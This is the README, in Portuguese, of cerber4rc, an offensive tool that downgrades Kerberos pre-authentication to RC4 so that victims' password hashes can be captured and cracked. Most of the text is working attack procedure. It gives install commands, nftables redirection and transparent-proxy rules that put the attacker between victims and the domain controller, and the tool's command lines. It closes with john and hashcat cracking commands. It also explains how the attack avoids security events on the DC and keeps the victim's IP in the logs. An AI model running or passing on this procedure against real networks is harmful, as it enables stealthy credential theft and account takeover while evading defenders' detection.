
Uma ferramenta para coletar hashes RC4 via ASREQroasting de forma furtiva
O cerber4rc faz downgrade de mensagens de pré-autenticação Kerberos, forçando os clientes a criptografar seus timestamps AS-REQ usando ARC4 (RC4), enquanto ainda se autentica no controlador de domínio usando cifras seguras — em outras palavras, ele realiza AS-REQ roasting baseado em RC4 de forma furtiva. O hash capturado ($krb5pa$23$) é muito mais rápido de quebrar do que mensagens AS-REQ criptografadas com AES, e nenhum evento de segurança relacionado a cifras inseguras é registrado no controlador de domínio. A ferramenta também suporta proxy transparente para que o endereço IP de origem da vítima seja preservado.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
Para usar a ferramenta, você primeiro precisa ter obtido uma posição de Man-in-the-Middle (MitM) que permita interceptar o tráfego Kerberos das suas vítimas. Isso pode ser alcançado de várias maneiras, por exemplo:
[!IMPORTANT] A máquina que você tem como alvo deve estar configurada para suportar RC4, caso contrário o downgrade falhará, o que é detectado automaticamente pela ferramenta. Este não é um pré-requisito do lado do KDC: se a estação de trabalho que você está visando anuncia RC4 como um etype, mas o controlador de domínio não suporta criptografia RC4 para pré-autenticação Kerberos, o ataque ainda funcionará.
Uma vez que você esteja recebendo tráfego Kerberos, a ideia é fazer DNAT da porta 88/TCP para um socket TCP local no qual a ferramenta está escutando. Isso pode ser feito com as seguintes regras nft:
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Sua máquina de ataque também precisa permitir o encaminhamento de IP, o que pode ser habilitado desta forma:
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] Se estiver a utilizar a ferramenta no modo
--transparent, é necessária uma configuração adicional, que está descrita na secção de proxy transparente.
cerber4rc permite a interceção passiva de mensagens de pré-autenticação Kerberos com a flag --relay. Irá derivar hashes com base no etype que as vítimas estão a utilizar para encriptar o seu timestamp de pré-autenticação (AES ou RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
O cerber4rc suporta dois modos diferentes para interceptação ativa: um proxy TCP regular (modo padrão) e um proxy transparente (flag --transparent).
Este modo é o comportamento padrão da ferramenta. Ele "divide" a conexão em duas partes distintas, encerrando a conexão TCP do lado do cliente e criando uma nova conexão TCP com o controlador de domínio (DC). Do ponto de vista de rede, o DC vê o IP da máquina que executa o cerber4rc, o que, em ambientes endurecidos e maduros, pode acionar regras de detecção.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
Este modo pode ser ativado usando a flag --transparent. Ele cria um proxy transparente, que requer a capacidade CAP_NET_ADMIN, ou que a ferramenta seja executada como o usuário root. Isso permite preservar o endereço IP da vítima ao fazer downgrade das mensagens de pré-autenticação Kerberos: os logs de eventos gerados no KDC para solicitações TGT conterão o endereço IP da vítima, e não o da máquina do atacante executando o cerber4rc.
Para que este modo funcione, uma configuração de rede diferente é necessária. Primeiramente, as seguintes regras nft precisam ser criadas:
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
Em seguida, a seguinte regra de roteamento de política e rota precisa ser definida:
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc pode então ser executado com a flag --transparent, como root ou concedendo a capacidade CAP_NET_ADMIN ao seu interpretador Python:
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Os hashes capturados serão registrados por padrão nos arquivos <current_timestamp>-hashes_hashcat e <current_timestamp>-hashes_john no diretório atual. Esse comportamento pode ser
alterado com a flag --hash-logfile (-o). A ferramenta verificará primeiro se você tem as permissões corretas para gravar no local selecionado e, caso contrário, encerrará.
Para quebrar os hashes coletados, você pode usar john ou hashcat com as seguintes opções:
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256